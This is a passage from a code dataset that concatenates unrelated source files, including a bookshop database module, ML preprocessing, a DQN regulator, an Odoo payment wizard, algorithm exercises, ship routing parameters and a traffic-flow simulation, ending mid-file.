j1 = shop_inventory.join(book, shop_inventory.c.book_id == book.c.id)\r\n j2 = j1.join(shop, j1.c.shop_inventory_shop_id == shop.c.id)\r\n # Выполнение запроса о состоянии инвентаря в БД\r\n query = await conn.execute(select([shop_inventory.c.book_id,\r\n book.c.name,\r\n shop_inventory.c.book_quantity\r\n ]\r\n )\r\n .select_from(j2)\r\n .where(col == temp)\r\n )\r\n\r\n # Чтобы скрыть отсутствующие книги:\r\n # .where(and_(col == temp,shop_inventory.c.book_quantity != 0))\r\n\r\n result = await query.fetchall()\r\n\r\n # Проверка наличия данных в ответе на запрос\r\n if not result:\r\n msg = \"Shop with id/name: {} does not exists\"\r\n raise RecordNotFound(msg.format(temp))\r\n\r\n record = [dict(q) for q in result]\r\n\r\n # Запрос в БД для получения информации о магазине (id, name, address)\r\n query2 = await conn.execute(shop.select().where(col == temp))\r\n result2 = await query2.fetchall()\r\n record2 = [dict(q) for q in result2]\r\n return record2, record\r\n\r\n\r\n# Функция добавления нового заказа в БД\r\nasync def add_order(\r\n conn, user_pointer, book_pointer,\r\n book_number, shop_pointer\r\n):\r\n # Проверка наличия user-id в БД\r\n check_user = await conn.execute(user.select()\r\n .where(user.c.id == user_pointer))\r\n check_user_res = await check_user.fetchall()\r\n if not check_user_res:\r\n msg = '''User with id:{} doesn't exists.\r\n To add an order, first create a user.'''\r\n raise RecordNotFound(msg.format(user_pointer))\r\n\r\n # Проверка наличия book-id в БД\r\n check_book = await conn.execute(book.select()\r\n .where(book.c.id == book_pointer))\r\n check_book_res = await check_book.fetchall()\r\n if not check_book_res:\r\n msg = '''Book with id: {} does not exists.\r\n To add an order, first create a book.'''\r\n raise RecordNotFound(msg.format(book_pointer))\r\n\r\n # Проверка наличия shop-id в БД\r\n check_shop = await conn.execute(shop.select()\r\n .where(shop.c.id == shop_pointer))\r\n check_shop_res = await check_shop.fetchall()\r\n if not check_shop_res:\r\n msg = '''Shop with id: {} does not exists.\r\n To add an order, first create a shop.'''\r\n raise RecordNotFound(msg.format(shop_pointer))\r\n\r\n # Определение количества книги в наличии\r\n shop_inventory\r\n query_book_have = await conn.execute(\r\n select([shop_inventory.c.book_quantity])\r\n .select_from(shop_inventory)\r\n .where(and_(shop_inventory.c.shop_id == shop_pointer,\r\n shop_inventory.c.book_id == book_pointer))\r\n )\r\n book_have = await query_book_have.fetchone()\r\n\r\n # Сравнение требуемого количества книг с наличием\r\n if book_number > book_have[0]:\r\n msg = '''The store (id: {}) does not have the required number of the book.\r\n Number of the book available: {}'''\r\n raise RecordNotFound(msg.format(shop_pointer, book_have[0]))\r\n\r\n # Добавление новой записи в таблицу Order\r\n await conn.execute(order.insert()\r\n .values(user_id=user_pointer))\r\n\r\n # Получение id из таб. Order, для последующей вставки в таб. Order_position\r\n query_order_id = await conn.execute(select([order.c.id])\r\n .order_by(order.c.id.desc()))\r\n record_order_id = await query_order_id.fetchone()\r\n\r\n # Добавление новой записи в таблицу Order_position\r\n await conn.execute(order_position.insert()\r\n .values(order_id=record_order_id[0],\r\n book_id=book_pointer,\r\n book_quantity=book_number,\r\n shop_id=shop_pointer))\r\n\r\n # Обновление количества книг в наличии в таблице shop_inventory\r\n books_left = book_have[0] - book_number\r\n await conn.execute(\r\n shop_inventory.update()\r\n .where(and_(shop_inventory.c.shop_id == shop_pointer,\r\n shop_inventory.c.book_id == book_pointer))\r\n .values(book_quantity=books_left)\r\n )\r\n return books_left\r\n","sub_path":"Book shop/main/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":11126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"341745044","text":"import pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport time\n\ndef load_data():\n print(\"正在加载数据....\")\n train = pd.read_csv(r'../Data/new_data/part_train_set.csv')\n test = pd.read_csv(r'../Data/new_data/part_test_set.csv')\n\n print(' 加载完毕')\n test_id = test[['id']].copy()\n column = \"word_seg\"\n # ngram_range：词组切分的长度范围\n # max_df：可以设置为范围在[0.0 1.0]的float，也可以设置为没有范围限制的int，默认为1.0。\n # 这个参数的作用是作为一个阈值，当构造语料库的关键词集的时候，如果某个词的document frequence大于max_df，这个词不会被当作关键词。\n # 如果这个参数是float，则表示词出现的次数与语料库文档数的百分比，如果是int，则表示词出现的次数。如果参数中已经给定了vocabulary，则这个参数无效\n # min_df：类似于max_df，不同之处在于如果某个词的document frequence小于min_df，则这个词不会被当作关键词\n # use_idf：默认为True，权值是tf*idf，如果设为False，将不使用idf，就是只使用tf，相当于CountVectorizer了\n # smooth_idf：idf平滑参数，默认为True，idf=ln((文档总数+1)/(包含该词的文档数+1))+1，如果设为False，idf=ln(文档总数/包含该词的文档数)+1\n # sublinear_tf：默认为False，如果设为True，则替换tf为1 + log(tf)。\n vec = TfidfVectorizer(min_df=3, max_df=0.9)\n # vec = TfidfVectorizer()\n train_term_doc = vec.fit_transform(train[column])\n test_term_doc = vec.transform(test[column])\n y = (train['class']).astype(int)\n data=dict()\n data['id'] = test_id['id']\n data['train'] = train_term_doc\n data['test'] = test_term_doc\n data['y'] = y\n del test_id['id'],train_term_doc,test_term_doc\n return data\n\nif __name__ == '__main__':\n train_Data = load_data()\n print('y:', train_Data['train'][0],train_Data['train'][1999].shape )\n\n\n","sub_path":"00_preprocess/TF_IDF.py","file_name":"TF_IDF.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"454006666","text":"from ._builtin import Page, WaitPage\n\n\nclass Introduction(Page):\n\n def is_displayed(self):\n return self.player.round_number == 1\n\n\nclass Main(Page):\n form_model = 'player'\n form_fields = ['choice']\n\n\nclass ResultsWaitPage(WaitPage):\n\n def after_all_players_arrive(self):\n for p in self.group.get_players():\n p.set_payoff()\n\n\nclass Results(Page):\n\n def vars_for_template(self):\n return {\n 'player_payoff': int(self.player.payoff),\n 'opponent_choice': self.player.other_player().choice,\n }\n\n\nclass Final(Page):\n\n def is_displayed(self):\n return self.round_number == 5\n\n def vars_for_template(self):\n opponent = self.player.other_player()\n my_total = int(self.participant.payoff)\n opponent_total = int(opponent.participant.payoff)\n return {\n 'my_payoff': my_total,\n 'opponent_payoff': opponent_total\n }\n\n\npage_sequence = [\n Introduction,\n Main,\n ResultsWaitPage,\n Results,\n Final\n]\n","sub_path":"games/frontrunner/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"2551833","text":"from Model import Model\nimport math\n\n__author__ = 'kapilsomani'\n\n\nclass ZDT4(Model):\n def __init__(self, num_decisions=10, num_objectives=2):\n Model.__init__(self)\n self.num_decisions = 10 # Hard Coding\n self.num_objectives = 2 # Hard Coding\n self.min_decision_val = [0, -5, -5, -5, -5, -5, -5, -5, -5, -5]\n self.max_decision_val = [1, 5, 5, 5, 5, 5, 5, 5, 5, 5]\n self.decisions = [0] * num_decisions\n self.objectives = []\n self.name = \"ZDT4\"\n self.optimum = {'min': 30.66, 'max': 306.42} # energy values approximated after multiple(x100000's) runs\n\n def constraints(self):\n\n def g1(can):\n return True\n\n return [g1]\n\n def objective_calc(self):\n\n def f(can):\n n = len(can)\n summ = sum([(x**2 - 10*math.cos(4*math.pi*x)) for x in can[1:]])\n g = 1 + 10*(n-1) + summ\n objectives_list = [None] * 2\n objectives_list[0] = can[0]\n objectives_list[1] = g * (1 - (can[0]/g)**2)\n self.objectives = objectives_list\n return objectives_list\n\n return f\n","sub_path":"hw/code/10/models/ZDT4.py","file_name":"ZDT4.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"147135836","text":"# @Author: dileep\n# @Last Modified by: dileep\n\nfrom typing import List, Dict, Tuple\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom .memory import Action, Event\nfrom .regulator import Regulator\nfrom .dqn.dddqn import Network\n\nStateType = Tuple[Dict[str, float], Dict[str, float]]\n\n\nclass DQNRegulator(Regulator):\n \"\"\"\n DQN regulator class\n\n Parameters\n ---------\n dfba_obj : DFBA\n DFBA instance\n\n Attributes\n ---------\n observation_size : int\n Dimensions of the observation space\n action_size : int\n Dimensions of the action space\n state_space : Dict[str, int]\n action_space : Dict[int, Tuple[str, str]]\n \"\"\"\n name = \"DQN\"\n _frac = 0.1\n _gamma = 0.99\n _update_delay = 100\n _temp = 1 # affects the certainity of actions\n _temp_increase = 0.001\n # _epsilon = 1.0\n # _epsilon_decay = 0.999\n\n def __init__(self, ex_reactions: List[str], ex_metabolites: List[str]) -> None:\n super().__init__(ex_reactions, ex_metabolites)\n self.eval_net = Network(self.state_size, self.action_size) # .cuda()\n self.target_net = Network(self.state_size, self.action_size) # .cuda()\n self.target_net.load_state_dict(self.eval_net.state_dict()) # hard reset\n self.optimizer = torch.optim.Adam(self.eval_net.parameters())\n self.criterion = F.smooth_l1_loss\n self.time_since_target_train = 0\n\n def select_action(self, concentrations: Dict[str, float], fluxes: Dict[str, float]) -> Action:\n \"\"\"\n Select action based on concentrations and fluxes\n Action selection is based on multinomial probability distribution\n\n Parameters\n ---------\n concentrations : Dict[str, float]\n Concentrations of the components of the media\n fluxes : Dict[str, float]\n Exchange fluxes of the reaction in the microbe\n \"\"\"\n state = self._encode_state(concentrations, fluxes)\n state = torch.from_numpy(state).float()\n if torch.cuda.is_available():\n state = state.cuda()\n x = Variable(state.unsqueeze_(0), volatile=True)\n probs = F.softmax(self.eval_net(x) * self._temp)\n action = probs.multinomial()\n decoded_action = self._decode_action(action.data[0, 0])\n return decoded_action\n\n def train(self):\n \"\"\"\n Network Training\n \"\"\"\n mini_batch = self.memory.sample(self._batch_size)\n mini_batch = Event(*zip(*mini_batch))\n # calculate the estimated value\n mini_batch_state = torch.Tensor(mini_batch.state)\n mini_batch_action = torch.LongTensor(mini_batch.action).unsqueeze(1)\n if torch.cuda.is_available():\n mini_batch_state = mini_batch_state.cuda()\n mini_batch_action = mini_batch_action.cuda()\n estimated_value = self.eval_net(Variable(mini_batch_state))\n estimated_value = estimated_value.gather(1, Variable(mini_batch_action))\n # calculate the actual value\n mini_batch_next_state = torch.Tensor(mini_batch.next_state)\n mini_batch_reward = torch.Tensor(mini_batch.reward).unsqueeze(1)\n if torch.cuda.is_available():\n mini_batch_next_state = mini_batch_next_state.cuda()\n mini_batch_reward = mini_batch_reward.cuda()\n target_value = self.target_net(Variable(mini_batch_next_state))\n target_value = target_value.detach().max(1)[0].unsqueeze(1)\n targetted_value = self._gamma * target_value + Variable(mini_batch_reward)\n # compute loss\n self.optimizer.zero_grad()\n loss = self.criterion(estimated_value, targetted_value)\n loss.backward()\n self.optimizer.step()\n self.time_since_target_train += 1\n # train target\n if self.time_since_target_train == self._update_delay:\n self.time_since_target_train = 0\n self.target_net.load_state_dict(self.eval_net.state_dict())\n self._temp += self._temp_increase\n\n def update(self, state_raw: StateType, action_raw: Action, next_state_raw: StateType,\n reward: float) -> None:\n \"\"\"\n Update the network with new events.\n If the network has accumulated enough events this function will also train it\n\n Parameters\n ---------\n state_raw : StateType\n The current raw state in the simulation\n action_raw : Action\n The action taken by the network in the simulation\n next_state_raw : StateType\n The next state in the simulation after taking the action\n reward : float\n The reward for the state transition\n \"\"\"\n state = self._encode_state(*state_raw)\n next_state = self._encode_state(*next_state_raw)\n action = self._encode_action(action_raw)\n self.memory.add_event(Event(state, action, next_state, reward))\n # training\n if len(self.memory) >= self._batch_size:\n self.train()\n\n def save(self) -> dict:\n \"\"\"\n Return model state parameters for saving\n \"\"\"\n parameters = {\n 'eval_net': self.eval_net.state_dict(),\n 'target_net': self.target_net.state_dict(),\n 'optimizer': self.optimizer.state_dict()\n }\n return parameters\n\n def load(self, parameters: dict) -> None:\n \"\"\"\n Load model state parameters from disk\n \"\"\"\n self.eval_net.load_state_dict(parameters['eval_net'])\n self.target_net.load_state_dict(parameters['target_net'])\n self.optimizer.load_state_dict(parameters['optimizer'])\n return None\n","sub_path":"microbial_ai/regulation/dqnregulator.py","file_name":"dqnregulator.py","file_ext":"py","file_size_in_byte":5810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"11040905","text":"# deque로 BFS 구현\nfrom collections import deque\n\nm, n = map(int, input().split())\n# 2차원 리스트로 토마토 넣기\nbox = [list(map(int, input().split())) for _ in range(n)]\n# 좌표를 사용해 관리 할 것이므로 []로 초기화\nqueue = deque([])\ndx, dy = [-1, 1, 0, 0], [0, 0, -1, 1]\nres = 0\n\n# queue에 처음 받은 토마토의 위치 좌표 append\nfor i in range(n):\n for j in range(m):\n if box[i][j] == 1:\n queue.append([i, j])\n\ndef bfs():\n while queue:\n x, y = queue.popleft()\n for i in range(4):\n nx, ny = dx[i] + x, dy[i] + y\n if 0 <= nx < n and 0 <= ny < m and box[nx][ny] == 0:\n box[nx][ny] = box[x][y] + 1\n queue.append([nx, ny])\n\nbfs()\n\nfor i in box:\n for j in i:\n if j == 0:\n print(-1) # 다 익지 못하는 경우\n exit(0)\n\t\t# 다 익힌 경우 최대 값 지정\n res = max(res, max(i))\n\nprint(res - 1)","sub_path":"03. DFS&BFS/7576/7576.py","file_name":"7576.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"207097367","text":"# https://oj.leetcode.com/problems/binary-tree-level-order-traversal-ii/\n\n# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param root, a tree node\n # @return a list of lists of integers\n def levelOrderBottom(self, root):\n if root == None:\n return []\n\n q = [root]\n ans = []\n\n # visit by level\n while len(q) > 0:\n next_level = []\n num = []\n\n while len(q) > 0:\n cur = q.pop(0)\n num.append(cur.val)\n if cur.left != None:\n next_level.append(cur.left)\n if cur.right != None:\n next_level.append(cur.right)\n\n ans.insert(0, num)\n q = next_level\n\n return ans\n","sub_path":"leetans/levelOrderII.py","file_name":"levelOrderII.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"159751609","text":"import numpy as np\nimport datetime as dt\nfrom typing import NamedTuple\nimport json\nimport dateutil.parser\n\nimport utils\nimport matplotlib.pyplot as plt\nimport graphics\nfrom utils import NumpyArrayEncoder\n\n\nclass RouteParams():\n \"\"\"\n Isochrone data structure with typing.\n Parameters:\n count: int (routing step)\n start: tuple (lat,long at start)\n finish: tuple (lat,lon and end)\n gcr_azi: float (initial gcr heading)\n lats1, lons1, azi1, s12: (M, N) arrays, N=headings+1, M=number of steps+1 (decreasing step number)\n azi0, s0: (M, 1) vectors without history\n time1: current datetime\n elapsed: complete elapsed timedelta\n \"\"\"\n count: int # routing step\n start: tuple # lat, lon at start\n finish: tuple # lat, lon at end\n fuel: float\n full_dist_traveled: tuple\n gcr: tuple\n rpm: int # propeller [revolutions per minute]\n route_type: str # route name\n time: dt.timedelta # time needed for the route [datetime]\n fuel_per_step: tuple # sum of power consumption [W]\n lats_per_step: tuple # lats: (M,N) array, N=headings+1, M=steps (M decreasing)\n lons_per_step: tuple # longs: (M,N) array, N=headings+1, M=steps\n azimuths_per_step: tuple # azimuth: (M,N) array, N=headings+1, M=steps [degree]\n dists_per_step: tuple # geodesic distance traveled per time stamp: (M,N) array, N=headings+1, M=steps [m]\n speed_per_step: tuple # boat speed per step [m/s]\n starttime_per_step: tuple\n full_dist_traveled: tuple # full geodesic distance since start [m]\n\n def __init__(self, count, start, finish, fuel, full_dist_traveled,gcr, rpm, route_type, time, lats_per_step, lons_per_step, azimuths_per_step, dists_per_step, speed_per_step, starttime_per_step, fuel_per_step):\n self.count = count # routing step\n self.start = start # lat, lon at start\n self.finish = finish # lat, lon at end\n self.fuel = fuel # sum of fuel consumption [kWh]\n self.full_dist_traveled = full_dist_traveled #full travel distance [m]\n self.gcr = gcr\n self.rpm = rpm # propeller [revolutions per minute]\n self.route_type = route_type # route name\n self.time = time # time needed for the route [h]\n self.lats_per_step = lats_per_step\n self.lons_per_step = lons_per_step\n self.azimuths_per_step = azimuths_per_step # [degrees]\n self.dists_per_step = dists_per_step #travel distance per step [m]\n self.speed_per_step = speed_per_step #speed per step [m/s]\n self.starttime_per_step =starttime_per_step\t# time at start of every step\n self.fuel_per_step = fuel_per_step \t#fuel consumption per step [kWh]\n\n def print_route(self):\n utils.print_line()\n print('Printing route: ' + str(self.route_type))\n print('Going from', self.start)\n print('to')\n print(self.finish)\n print('routing steps ' + str(self.count))\n print('time ' + str(self.time))\n print('fuel ' + str(self.fuel))\n print('full_dist_traveled ' + str(self.full_dist_traveled))\n print('gcr ' + str(self.gcr))\n print('rpm ' + str(self.rpm))\n print('lats_per_step ' + str(self.lats_per_step))\n print('lons_per_step ' + str(self.lons_per_step))\n print('azimuths_per_step ' + str(self.azimuths_per_step))\n print('dists_per_step ' + str(self.dists_per_step))\n print('speed_per_step ' + str(self.speed_per_step))\n print('start_time_per_step' + str(self.starttime_per_step))\n print('fuel_per_step' + str(self.fuel_per_step))\n utils.print_line()\n\n def __eq__(self, route2):\n bool_equal=True\n if not (self.count == route2.count):\n raise ValueError('Route counts not matching')\n if not (np.array_equal(self.start, route2.start)):\n raise ValueError('Route start not matching')\n if not (np.array_equal(self.finish, route2.finish)):\n raise ValueError('Route finsh not matching')\n if not (np.array_equal(self.time, route2.time)):\n raise ValueError('Route time not matching: self=' + str(self.time) + ' other=' + str(route2.time))\n if not (np.array_equal(self.fuel, route2.fuel)):\n raise ValueError('Route fuel not matching: self=' + str(self.fuel) + ' other=' + str(route2.fuel))\n if not (np.array_equal(self.rpm, route2.rpm)):\n raise ValueError('Route rpm not matching')\n if not (np.array_equal(self.lats_per_step, route2.lats_per_step)):\n raise ValueError('Route lats_per_step not matching')\n if not (np.array_equal(self.lons_per_step, route2.lons_per_step)):\n raise ValueError('Route lons_per_step not matching')\n if not (np.array_equal(self.azimuths_per_step, route2.azimuths_per_step)):\n raise ValueError('Route azimuths_per_step not matching')\n if not (np.array_equal(self.dists_per_step, route2.dists_per_step)):\n raise ValueError('Route dists_per_step not matching')\n if not (np.array_equal(self.full_dist_traveled, route2.full_dist_traveled)):\n raise ValueError('Route full_dist_traveled not matching')\n\n return bool_equal\n\n def convert_to_dict(self):\n rp_dict = {\n \"count\" : self.count,\n \"start\" : self.start,\n \"finish\": self.finish,\n \"fuel\": self.fuel,\n \"full_dist_traveled\": self.full_dist_traveled,\n \"gcr\": self.gcr,\n \"rpm\" : self.rpm,\n \"route type\" : self.route_type,\n \"time\" : self.time,\n \"fuel_per_step\" : self.fuel_per_step,\n \"lats_per_step\" : self.lats_per_step,\n \"lons_per_step\" : self.lons_per_step,\n \"azimuths_per_step\" : self.azimuths_per_step,\n \"dists_per_step\" : self.dists_per_step,\n \"speed_per_step\" : self.speed_per_step,\n \"starttime_per_step\" : self.starttime_per_step,\n }\n return rp_dict\n\n def write_to_file(self, filename):\n rp_dict = self.convert_to_dict()\n with open(filename, 'w') as file:\n json.dump(rp_dict, file, cls=NumpyArrayEncoder, indent=4)\n\n @classmethod\n def from_file(cls, filename):\n with open(filename) as file:\n rp_dict = json.load(file)\n\n count = rp_dict['count']\n start = rp_dict['start']\n finish = rp_dict['finish']\n fuel = rp_dict['fuel']\n full_dist_traveled = rp_dict['full_dist_traveled']\n gcr = rp_dict['gcr']\n rpm = rp_dict['rpm']\n route_type = rp_dict['route type']\n time = rp_dict['time']\n lats_per_step = np.asarray(rp_dict['lats_per_step'])\n lons_per_step = np.asarray(rp_dict['lons_per_step'])\n azimuths_per_step = np.asarray(rp_dict['azimuths_per_step'])\n dists_per_step = np.asarray(rp_dict['dists_per_step'])\n speed_per_step = np.asarray(rp_dict['speed_per_step'])\n starttime_per_step = np.asarray(rp_dict['starttime_per_step'])\n fuel_per_step = np.asarray(rp_dict['fuel_per_step'])\n\n return cls(\n count = count,\n start = start,\n finish = finish,\n fuel = fuel,\n full_dist_traveled = full_dist_traveled,\n gcr = gcr,\n rpm = rpm,\n route_type = route_type,\n time = time,\n lats_per_step = lats_per_step,\n lons_per_step = lons_per_step,\n azimuths_per_step = azimuths_per_step,\n dists_per_step = dists_per_step,\n speed_per_step = speed_per_step,\n starttime_per_step = starttime_per_step,\n fuel_per_step = fuel_per_step\n )\n def plot_route(self, ax, colour, label):\n lats = self.lats_per_step\n lons = self.lons_per_step\n ax.plot(lons, lats, color = colour, label = label, linewidth=2)\n\n ax.plot(self.start[1], self.start[0], marker=\"o\", markerfacecolor=colour, markeredgecolor=colour,\n markersize=10)\n ax.plot(self.finish[1], self.finish[0], marker=\"o\", markerfacecolor=colour, markeredgecolor=colour,\n markersize=10)\n return ax\n\n def plot_power_vs_dist(self, color, label):\n power = self.fuel_per_step\n dist = self.dists_per_step\n lat = self.lats_per_step\n lon = self.lons_per_step\n\n dist = dist/1000 # [m] -> [km]\n hist_values = graphics.get_hist_values_from_widths(dist, power)\n\n plt.bar(hist_values[\"bin_centres\"], hist_values[\"bin_content\"], dist, fill=False, color = color, edgecolor = color, label = label)\n plt.xlabel('Weglänge (km)')\n plt.ylabel('Energie (kWh/km)')\n plt.xticks()\n","sub_path":"Isochrone/routeparams.py","file_name":"routeparams.py","file_ext":"py","file_size_in_byte":8875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"185448469","text":"# -*- coding: utf-8 -*-\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\nimport openerp.addons.decimal_precision as dp\n\nclass account_payment_order_wizard(osv.osv_memory):\n _name =\"account.payment.order.wizard\"\n _inherit ='payment.document'\n _columns = {\n\n }\n \n def fields_view_get(self, cr, uid, view_id=None, view_type='form',\n context=None, toolbar=False, submenu=False):\n \"\"\"\n Changes the view dynamically\n @param self: The object pointer.\n @param cr: A database cursor\n @param uid: ID of the user currently logged in\n @param context: A standard dictionary\n @return: New arch of view.\n \"\"\"\n if context is None:\n context={}\n if 'active_ids' in context and len(context.get('active_ids')) > 1:\n self.pool.get('account.voucher').validate_transaction(cr, uid, context.get('active_ids'), context)\n \n res = super(account_payment_order_wizard, self).fields_view_get(cr, uid, view_id=view_id, view_type=view_type, context=context, toolbar=toolbar,submenu=False)\n return res\n\n \n def default_get(self, cr, uid, fields, context=None):\n if context is None:\n context = {}\n res = super(account_payment_order_wizard, self).default_get(cr, uid, fields, context=context)\n \n if 'active_ids' in context:\n band_first = True\n amount = 0.0\n my_checkbook = ''\n line_ids = []\n aux = []\n for voucher_id in self.pool.get('account.voucher').browse(cr, uid, context.get('active_ids'), context):\n if band_first:\n type = voucher_id.type\n res.update({'date': voucher_id.date })\n res.update({'partner_id': voucher_id.partner_id.id })\n if not type == 'payment':\n account_id = voucher_id.pay_mode_id.journal.default_credit_account_id.id\n else:\n account_id = voucher_id.pay_mode_id.journal.default_debit_account_id.id\n res.update({'account_id': account_id })\n res.update({'pay_mode_id': voucher_id.pay_mode_id.id })\n res.update({'type': voucher_id.type })\n res.update({'company_id': self.pool.get('res.users').browse(cr, uid, uid, context).company_id.id })\n res.update({'is_check': voucher_id.pay_mode_id.is_check })\n if voucher_id.pay_mode_id.is_check:\n # Obtengo la cuenta bancaria asociada al modo de pago\n mp_bank_id = voucher_id.pay_mode_id.bank_id.id\n list_checkb = self.pool.get('account.checkbook').search(cr, uid, [('account_bank_id', '=', mp_bank_id)])\n for check_b in list_checkb:\n my_checkbook = self.pool.get('account.checkbook').browse(cr, uid, check_b, context).actual_number\n res.update({'check_number': my_checkbook })\n band_first = False\n res.update({'number': voucher_id.number })\n res.update({'reference': voucher_id.reference })\n res.update({'journal_id': voucher_id.journal_id.id })\n res.update({'state': voucher_id.state })\n amount += voucher_id.amount\n res.update({'amount': voucher_id.amount })\n res.update({'date': voucher_id.date })\n # aux.append((0, 0, var_temp))\n if type == 'payment':\n for line in voucher_id.line_dr_ids:\n line_ids.append(line.id)\n if type == 'receipt':\n for line in voucher_id.line_cr_ids:\n line_ids.append(line.id)\n# res.update({'voucher_ids' : aux })\n res.update({'amount': amount })\n \n if type == 'payment':\n res.update({'line_dr_ids': line_ids })\n if type == 'receipt':\n res.update({'line_cr_ids': line_ids })\n return res\n\n# Aquí tengo que registrar el cheque\n# Aumentar la secuencia del cheque\n# Cambiar a estado \"Posted\" los Voucher seleccionados \n\n\n def save_transaction(self, cr, uid, ids, context):\n vals = {}\n for form in self.browse(cr, uid, ids): \n # Conformando los valores a salvar el pay_doc\n if form.check_number:\n vals['check_number'] = form.check_number\n vals['partner_id'] = form.partner_id.id\n vals['pay_mode_id'] = form.pay_mode_id.id\n vals['amount'] = form.amount\n vals['date'] = form.date\n vals['res_partner_id'] = form.res_partner_id.id\n vals['pay_reason'] = form.pay_reason\n vals['type'] = form.type\n vals['company_id'] = 1\n vals['state'] = 'open'\n\n # obj_pay_doc = self.pool.get('payment.document')\n # id = obj_pay_doc.create(cr, uid, vals, context=context)\n \n \n\n return {'type': 'ir.actions.act_window_close'}\n \n\n \naccount_payment_order_wizard()\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:","sub_path":"bit_payment/wizard/account_payment_order_wizard.py","file_name":"account_payment_order_wizard.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"481412203","text":"def update_on_device(self):\n params = self.changes.api_params()\n uri = 'https://{0}:{1}/mgmt/tm/gtm/server/{2}/virtual-servers/{3}'.format(self.client.provider['server'], self.client.provider['server_port'], transform_name(self.want.partition, self.want.server_name), self.want.name)\n resp = self.client.api.patch(uri, json=params)\n try:\n response = resp.json()\n except ValueError as ex:\n raise F5ModuleError(str(ex))\n if (('code' in response) and (response['code'] == 400)):\n if ('message' in response):\n raise F5ModuleError(response['message'])\n else:\n raise F5ModuleError(resp.content)","sub_path":"Data Set/bug-fixing-4/041da7516d72aa5d06c32fc6312a6e500624e540--bug.py","file_name":"041da7516d72aa5d06c32fc6312a6e500624e540--bug.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"49841333","text":"import numpy\nimport matplotlib.pyplot as plt\n\nVmax = 136. # km/hr\nL = 11. # km\nrhomax = 250. # cars/km\nnx = 51 #points\ndt = 0.001 #hr\ndelx = L/(nx-1)\nx = numpy.linspace(0, L, nx)\n\n#Initial condition \nrho0 = numpy.ones(nx)*20 \nrho0[10:20] = 50\nV = numpy.zeros(nx)\n\nrho = rho0.copy()\nfor i in range(nx):\n V[i] = Vmax * (1. - rho[i]/rhomax)\n\nprint(\"Maximum of rho0:\", numpy.max(rho0))\nprint(\"Minumum of V:\", numpy.min(V))\n\n# Solving equation for specified time\n# pay attention to parameter dimension\nTmax = 3./60.\nnomOfS = numpy.int(Tmax/dt)\n\nT = numpy.linspace(0, Tmax, nomOfS)\nrho = rho0.copy()\n\nfor j in range(nomOfS):\n rhon = rho.copy()\n for i in range(1, nx):\n rho[i] = rhon[i] - (dt/delx)*((rhon[i]*Vmax*(1.- (rhon[i]/rhomax))) - (rhon[i-1]*Vmax*(1.- (rhon[i-1]/rhomax))))\n # Remember Boundary condition\n rho[0] = 10.0\n\n# Calculatinf v based on computed density\nfor i in range(nx):\n V[i] = Vmax * (1. - rho[i]/rhomax)\n\nminvel = numpy.min(V)\n# minimum velocity (Pay attention to dimension)\nprint(\"minimum of velocity\", minvel * 1000. / 3600.)\n\n\nTotalflux = numpy.dot(rho,V) * delx\nTotalcars = numpy.sum(rho) * delx\nmeanvelocity = Totalflux/Totalcars\n# check dimension\nprint(\"Mean Velocity\", meanvelocity *1000. / 3600.)\n\nminInTime = numpy.min(V)\nprint (\"Minimum in specified time: \", minInTime * 1000./3600.)\n","sub_path":"traffic_flow.py","file_name":"traffic_flow.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"49302438","text":"from calcFunctions import constantFunction,functionMap\n\nnumPadList = [\n '7', '8', '9',\n '4', '5', '6',\n '1', '2', '3',\n '0', '.', '=',\n]\n\noperatorList = [\n '*', '/',\n '+', '-',\n '(', ')',\n 'C',\n]\n\n\nconstantList = [k[0] for k in constantFunction]\n\n\n\nfunctionList = [k[0] for k in functionMap]\n\n","sub_path":"keypad.py","file_name":"keypad.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"184366147","text":"#!/bin/python3\nimport sys\nimport numpy as np\nfilename = sys.argv[1] if len(sys.argv) > 1 else \"input\"\n\npart = (int(sys.argv[2]) if len(sys.argv) > 2 else None)\nwhile part is None:\n print(\"Part 1 or 2?\")\n reply = input(\"Choose: \")\n part = (int(reply) if reply == \"1\" or reply == \"2\" else None)\n\n# characters in problem statement\nFLOOR = \".\"\nEMPTY = \"L\"\nOCCUPIED = \"#\"\n\n# Show numpy grid\ndef show_grid(grid):\n for row in grid:\n print(\" \".join(map(str, row)))\n\n# Gets the adjacent surrounding seats of seat at r, c\ndef get_adjacent(seats, r, c):\n neighbors = np.zeros(seats.shape, dtype=bool)\n rows, cols = seats.shape\n adjacent = np.array([(r+i, c+j) for i in range(-1, 2) for j in range(-1, 2)\n if 0 <= r+i < rows and 0 <= c+j < cols and not (i == 0 and j == 0)])\n for nr, nc in adjacent:\n neighbors[nr, nc] = True\n return adjacent, 